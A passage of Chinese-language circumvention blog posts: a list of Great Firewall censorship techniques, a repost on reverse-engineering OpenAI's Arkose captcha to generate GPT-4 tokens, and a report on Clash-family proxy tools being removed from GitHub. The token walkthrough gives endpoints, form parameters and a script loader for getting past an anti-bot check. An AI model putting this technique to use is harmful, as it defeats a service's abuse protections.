0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; counter-increment: list-number 1; display: block; margin-bottom: 0px; margin-top: 0px; min-height: 28px; padding-left: 0.375em;"><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; margin: 0px;"><strong style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: var(--tw-prose-bold); font-weight: 600;">使用深度包检测(DPI)</strong>:中国的防火长城(GFW),作为世界上最大的审查系统之一,使用DPI来识别HTTP和DNS上的受限内容。DPI用于向连接中注入TCP重置包和错误的DNS响应。</p></li><li style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; counter-increment: list-number 1; display: block; margin-bottom: 0px; margin-top: 0px; min-height: 28px; padding-left: 0.375em;"><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; margin: 0px;"><strong style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: var(--tw-prose-bold); font-weight: 600;">网络断连</strong>:2009年,在新疆地区发生骚乱期间,中国切断了网络连接,以防止抗议活动的蔓延。</p></li><li style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; counter-increment: list-number 1; display: block; margin-bottom: 0px; margin-top: 0px; min-height: 28px; padding-left: 0.375em;"><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; margin: 0px;"><strong style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: var(--tw-prose-bold); font-weight: 600;">手动过滤和自我审查</strong>:在中国,互联网内容提供商(如谷歌或微博)需要获得营业执照,其中包括签署一份名为“中国互联网行业自律公约”的“自愿承诺”。不遵守可能会导致因违规内容而承担责任。这导致了一种自我审查形式,不希望发布的内容不太可能被发布。</p></li><li style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; counter-increment: list-number 1; display: block; margin-bottom: 0px; margin-top: 0px; min-height: 28px; padding-left: 0.375em;"><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; margin: 0px;"><strong style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: var(--tw-prose-bold); font-weight: 600;">对ESNI的HTTPS残留审查</strong>:中国采用了3元组和4元组残留审查机制的混合体,用于HTTPS与加密服务器名称指示(ESNI)的审查。</p></li><li style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; counter-increment: list-number 1; display: block; margin-bottom: 0px; margin-top: 0px; min-height: 28px; padding-left: 0.375em;"><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; margin: 0px;"><strong style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: var(--tw-prose-bold); font-weight: 600;">DNS中毒事件</strong>:2014年1月,一个实施不当的DNS中毒尝试导致中国通过防火长城将所有请求重定向到单一域名,造成了重大的互联网服务中断。</p></li><li style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; counter-increment: list-number 1; display: block; margin-bottom: 0px; margin-top: 0px; min-height: 28px; padding-left: 0.375em;"><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; margin: 0px;"><strong style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: var(--tw-prose-bold); font-weight: 600;">使用“大炮”</strong>:中国使用一种名为“大炮”的系统发起分布式拒绝服务(DDoS)攻击,该系统与防火长城并列。这个系统将JavaScript代码注入到中国某搜索引擎的网页访问中,劫持这些用户代理向各种网站发送DDoS流量。</p><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; margin: 0px;"> </p></li></ol> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-16081115924849064082023-12-08T15:22:00.003+08:002023-12-08T15:22:19.238+08:00如何生成 GPT-4 arkose_token<p> via <br /><a href="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token.html">https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token.html</a><br /><br /> </p><p>以下逆向 JS 内容已过期,参考:<a href="https://github.com/acheong08/ChatGPT/issues/1431#issuecomment-1606145567">https://github.com/acheong08/ChatGPT/issues/1431#issuecomment-1606145567</a><br /><br />有另一种简单的方法生成 arkose_token:<a href="https://github.com/linweiyuan/chatgpt-arkose-token-api">chatgpt-arkose-token-api</a><br /><br />当天,似乎上面的方法又失效了,所以还是先用回下面的方法<br /><br />arkose_token 突然不检测了,但是还是先传着,保持和官网一样<br /><br />又开始检测了<br /><br /><a href="https://github.com/linweiyuan/chatgpt-arkose-token-api">chatgpt-arkose-token-api</a> 复活,主要是借鉴了 <a href="https://github.com/xyhelper/xyhelper-arkose">xyhelper/xyhelper-arkose</a><br /><br />把 html 页面放在服务器上运行,不行,会弹验证码<br /><br />但是单独起个服务跑 html 页面,又可以,莫名其妙<br /><br />(我自己测试,如果服务器上开启了 IPv6,会拿不到 token,原因未知)<br /><br />服务健康程度监控页面:<a href="https://stats.churchless.tech/">Health Status</a><br /><br />方法已失效,不折腾了<br /><br />更新视频,通过抓 har 包获取合法 token(这个方法已经存在很久了,但是最近比较忙,也基本弃坑了没用 GPT,所以鸽到现在更新)<br /><br />原来本来就有更加方便的方法,之前没有注意,现在更新,无需额外再跑一个 token 服务<br /><br />GPT-4 对 arkose_token 的校验在最近几天里每天都改变很多次,有时早上提交代码,下午就失效,或者晚上提交,第二天失效<br /><br /><a href="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/403.png"><img src="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/403.png" /><br /></a><br /><br />通过不断的试错,把所有缺失的参数全部补上,但是最后还是 403 了<br /><br />于是,打算从源头出发,学习一下 JS 的逆向(本人 JS 相对新手,但是曾经也写过)<br /><br />接口:https://tcr9i.chat.openai.com/fc/gt2/public_key/35536E1E-65B4-4D96-9D97-6ADB7EFF8147<br /><br />FormData:<br />1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br /><br /> bda: ct + iv + s 的 base64 编码<br />public_key: 35536E1E-65B4-4D96-9D97-6ADB7EFF8147<br />site: https://chat.openai.com<br />userbrowser: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36<br />capi_version: 1.5.2<br />capi_mode: lightbox<br />style_theme: default<br />rnd: 随机数,小数点后有时 16 位,有时 17 位<br /><br /><br /><br /><br />其他参数都是写死,并且之前不传也可以,最近必须要传,并且还要传对,不然 403<br /><br />重点就是在 bda 参数里,里面的内容是加密的<br /><br />通过 F12,一步一步跟,发现了一些蛛丝马迹,最后调用的是这个方法来生成 bda 参数:ALFCCJS.encrypt(bx, bv + bw)<br /><br /><a href="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/encrypt.png"><img src="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/encrypt.png" /><br /></a><br /><br />于是反推,如何生成 bx、bv 和 bw<br /><br />bx 依赖 b5 和 bg<br /><br />b5 是一个数组,里面的东西大部分都是写死的,除了一个时间戳<br /><br /><a href="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/b5.png"><img src="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/b5.png" /><br /></a><br /><br />bg 写死的,本次测试不传也正常(未来可能有校验)<br /><br />将 b5 数组转成字符串,就得到了 bx<br /><br /><a href="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/bx.png"><img src="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/bx.png" /><br /></a><br /><br />bv 没什么好说的,就是当前浏览器 UA 写死<br /><br /><a href="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/bv.png"><img src="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/bv.png" /><br /></a><br /><br />bw 不复杂,当前时间戳然后计算一下<br /><br /><a href="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/bw.png"><img src="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/bw.png" /><br /></a><br /><br />最后执行加密方法,就能生成加密 bda<br /><br />如果提示 ALFCCJS is not defined,执行下面 JS 将其初始化<br />1<br />2<br />3<br />4<br /><br /> const script = document.createElement("script");<br />script.type = "text/javascript";<br />script.src = "https://tcr9i.chat.openai.com/cdn/fc/js/6af2c0d87b9879cbf3365be1a208293f84d37b1e/standard/funcaptcha_api.js";<br />document.head.appendChild(script);<br /><br /><br /><br /><br /><a href="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/bda.png"><img src="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/bda.png" /><br /></a><br /><br />再设置到参数里调用接口就能拿到 arkose_token<br /><br />GPT-4 就 200 了<br /><br /><a href="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/200.png"><img src="https://linweiyuan.github.io/2023/06/24/%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90-GPT-4-arkose-token/200.png" /><br /></a><br /><br />一开始看错了 bv 成 by,但是字幕烧录进去了,懒得改了,其实是 bx, bv, bw<br /><br /><br /><br /> </p><div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com1tag:blogger.com,1999:blog-5500297126185736776.post-79432602145911251272023-11-13T23:13:00.002+08:002023-11-13T23:13:27.073+08:00自2023年11月2日起,中国开发者在GitHub上存档和删除翻墙工具<p dir="auto" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">via<a href="https://github.com/net4people/bbs/issues/303"> https://github.com/net4people/bbs/issues/303</a><br /></p><p dir="auto" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">自2023年11月2日星期四(北京时间)以来,<wbr></wbr>由中国开发者维护的大量翻墙工具要么被删除,要么被存档。<wbr></wbr>这些工具曾被来自中国及其他审查严重地区的数百万用户用于绕过审<wbr></wbr>查。</p><p dir="auto" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">如下表所总结,这一系列事件始于开发者<a class="notranslate" data-saferedirecturl="https://www.google.com/url?q=https://github.com/Fndroid&source=gmail&ust=1699951746538000&usg=AOvVaw0bpug9UTYx_cg7PEKYrT0x" href="https://github.com/Fndroid" style="color: #1155cc;" target="_blank">@Fndroid</a>在202<wbr></wbr>3年11月2日删除了其在Github上拥有数千星标和分支的热<wbr></wbr>门工具Clash For Windows的仓库。紧接着在2023年11月3日,<wbr></wbr>更多由中国开发者开发的流行翻墙工具被彻底删除、<wbr></wbr>存档或删除了其分支上的所有提交。</p><p dir="auto" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">我们鼓励反审查社区一起讨论这些正在发生的事件,探索缓解策略,<wbr></wbr>并思考长期影响。</p><p dir="auto" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"> </p><p dir="auto" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"> </p><table role="table" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><thead><tr><th>项目名称</th><th>开发者</th><th>网址</th><th>仓库状态</th><th>快照链接</th><th>日期(北京时间)</th></tr></thead><tbody><tr><td style="margin: 0px;">Clash For Windows</td><td style="margin: 0px;"><a class="notranslate" data-saferedirecturl="https://www.google.com/url?q=https://github.com/Fndroid&source=gmail&ust=1699951746538000&usg=AOvVaw0bpug9UTYx_cg7PEKYrT0x" href="https://github.com/Fndroid" style="color: #1155cc;" target="_blank">@Fndroid</a></td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://github.com/Fndroid/clash_for_windows_pkg&source=gmail&ust=1699951746538000&usg=AOvVaw3qTNYigs4NMcfK4_n8AX9L" href="https://github.com/Fndroid/clash_for_windows_pkg" style="color: #1155cc;" target="_blank">Fndroid/clash_for_windows_pkg</a></td><td style="margin: 0px;">已删除</td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://web.archive.org/web/20231102082223/https://github.com/Fndroid/clash_for_windows_pkg&source=gmail&ust=1699951746538000&usg=AOvVaw3P5YRJMjQLtGd_RZhF37Y9" href="https://web.archive.org/web/20231102082223/https://github.com/Fndroid/clash_for_windows_pkg" rel="nofollow" style="color: #1155cc;" target="_blank">链接</a></td><td style="margin: 0px;">2023年11月2日 星期四</td></tr><tr><td style="margin: 0px;">Clash Core</td><td style="margin: 0px;"><a class="notranslate" data-saferedirecturl="https://www.google.com/url?q=https://github.com/Dreamacro&source=gmail&ust=1699951746538000&usg=AOvVaw2yHgMVUmbbad0zg2OHM-g2" href="https://github.com/Dreamacro" style="color: #1155cc;" target="_blank">@Dreamacro</a></td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://github.com/Dreamacro/clash&source=gmail&ust=1699951746538000&usg=AOvVaw03NgqFzoOrZ4fO0vq613ZR" href="https://github.com/Dreamacro/clash" style="color: #1155cc;" target="_blank">Dreamacro/clash</a></td><td style="margin: 0px;">已删除</td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://web.archive.org/web/20231102134434/https://github.com/Dreamacro/clash&source=gmail&ust=1699951746538000&usg=AOvVaw0xGfuZogFJtrHYd2PVxiiM" href="https://web.archive.org/web/20231102134434/https://github.com/Dreamacro/clash" rel="nofollow" style="color: #1155cc;" target="_blank">链接</a></td><td style="margin: 0px;">2023年11月3日 星期五</td></tr><tr><td style="margin: 0px;">Clash.Meta</td><td style="margin: 0px;"><a class="notranslate" data-saferedirecturl="https://www.google.com/url?q=https://github.com/MetaCubeX&source=gmail&ust=1699951746538000&usg=AOvVaw2z2RlIGJFihL-UnfcIifKb" href="https://github.com/MetaCubeX" style="color: #1155cc;" target="_blank">@MetaCubeX</a></td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://github.com/MetaCubeX/Clash.Meta&source=gmail&ust=1699951746538000&usg=AOvVaw1vwm1vRbnqxKyYAOnJYqaC" href="https://github.com/MetaCubeX/Clash.Meta" style="color: #1155cc;" target="_blank">MetaCubeX/Clash.Meta</a></td><td style="margin: 0px;">已存档 + 设置<code class="notranslate">rm</code>为默认分支</td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://web.archive.org/web/20230924160622/https://github.com/MetaCubeX/Clash.Meta&source=gmail&ust=1699951746538000&usg=AOvVaw0KXlkJRYK6jdU4s5QdF0yl" href="https://web.archive.org/web/20230924160622/https://github.com/MetaCubeX/Clash.Meta" rel="nofollow" style="color: #1155cc;" target="_blank">链接</a></td><td style="margin: 0px;">2023年11月3日 星期五</td></tr><tr><td style="margin: 0px;">Clash Verge</td><td style="margin: 0px;"><a class="notranslate" data-saferedirecturl="https://www.google.com/url?q=https://github.com/zzzgydi&source=gmail&ust=1699951746538000&usg=AOvVaw3g5_nixQnfUKocKCIgR9fC" href="https://github.com/zzzgydi" style="color: #1155cc;" target="_blank">@zzzgydi</a></td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://github.com/zzzgydi/clash-verge&source=gmail&ust=1699951746538000&usg=AOvVaw3can4LeWL6LbrZ6ulUc7TZ" href="https://github.com/zzzgydi/clash-verge" style="color: #1155cc;" target="_blank">zzzgydi/clash-verge</a></td><td style="margin: 0px;">已存档 + 设置<code class="notranslate">rm</code>为默认分支</td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://web.archive.org/web/20231103081736/https://github.com/zzzgydi/clash-verge&source=gmail&ust=1699951746538000&usg=AOvVaw0h9b238_KulVEoCK1v_FzV" href="https://web.archive.org/web/20231103081736/https://github.com/zzzgydi/clash-verge" rel="nofollow" style="color: #1155cc;" target="_blank">链接</a></td><td style="margin: 0px;">2023年11月3日 星期五</td></tr><tr><td style="margin: 0px;">tuic</td><td style="margin: 0px;"><a class="notranslate" data-saferedirecturl="https://www.google.com/url?q=https://github.com/EAimTY&source=gmail&ust=1699951746538000&usg=AOvVaw3J1AeKV_owim5PU1kymVG2" href="https://github.com/EAimTY" style="color: #1155cc;" target="_blank">@EAimTY</a></td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://github.com/EAimTY/tuic&source=gmail&ust=1699951746538000&usg=AOvVaw1dfJl1JEnhmu0SD_oMylyv" href="https://github.com/EAimTY/tuic" style="color: #1155cc;" target="_blank">EAimTY/tuic</a></td><td style="margin: 0px;">已存档 + 清空默认的<code class="notranslate">master</code>分支</td><td style="margin: 0px;"><a 